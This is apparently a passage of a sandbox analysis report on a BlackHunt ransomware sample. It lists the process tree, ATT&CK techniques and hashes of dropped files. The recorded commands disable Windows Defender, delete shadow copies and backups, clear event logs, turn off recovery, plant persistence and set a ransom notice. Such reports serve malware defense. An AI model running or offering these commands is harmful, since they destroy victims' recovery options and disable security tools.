  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1416
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3236
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2088
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2788
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3960
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2300
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:860
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3504
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3804
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3372
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3848
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe"
  2⤵
  - Deletes itself
  PID:1648
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2644
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3480
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3324
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1820
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2620
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2668
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2572

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2600

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1376

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4012

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:4004

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:3948

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2496

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:3940

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3404

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2720

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:1612

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1596

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:1092

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:1080

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2796

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:3932

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1720

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2456

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe" /F
1⤵
- Creates scheduled task(s)
PID:1904

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:1992

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2576

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1816
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:800

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:1476

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2472

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:2664

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2496

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:1496

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:2296

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2856

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2552

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:2524

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:1476

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:1672

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:2180

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:764

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2880

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2049301435-37821176916985006921747087043-1899069471-1350021524-1580747569-1160007946"
1⤵
PID:2576

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2520

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2476

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2456

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-59317298316151934511297151072629921101939984539-1973722483355143066-846482526"
1⤵
PID:2664

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2584

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2292

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:3088

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3852

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3004

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "156324913605367648-17410950611592759862-14659921591347972637-829088033710858461"
1⤵
PID:3948

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3044

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-256031986-17501527981265684414-437445020-1636873618-2441596501582711713-1098299008"
1⤵
PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
ec1351123dd9c9de4c168e2394991e1c

SHA1
083849974bb1f5650e875b46b1fe293d12b3ae38

SHA256
5b8023f45588de73ce11cadec00c95be4c7ad7580af5dc4421ffc18a56fef1df

SHA512
12f125a0643a08a8aff5b84d7fed9856ca3cc73823032c88a064d115a7a25d8ccd6d50e14c6862187cf7a63fbaf4b4f81bae7a1dd1c680988513a71e4c2086f5

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
2fc9e0a5c230ca8d281588e96d538aa6

SHA1
8c22e54733506fe9d9e4e4f1111e970539382eb5

SHA256
35fa381ddc23da80dc8e4b29ce0b8736be73209ed952d38c5e9384931a5b72b0

SHA512
e3d03ee77c6adf8a88af2450e4c7cc526c1cccc0a63eb6572e1ecced779df5c72a1435c79feb332d4f351b64bb5a67d990fd207b403de55dbfacc25739f0b67c

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
7d9342de7175413494270e8e930000d0

SHA1
f1e7de977e3bc7bfead60e2dafb05dbc1acc3471

SHA256
54b5929765ccefb2bd4a07a6f6a3c53ae6aa86ed23e8b7fd080f9f42e157dd47

SHA512
927a9e6326142a08345bdd869c9a3e46821dd8d230abbc195fb1fc52428753958dec9a77029be45c6574584c89ee0fd361e3b80346c61da0723c3438251e5950

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads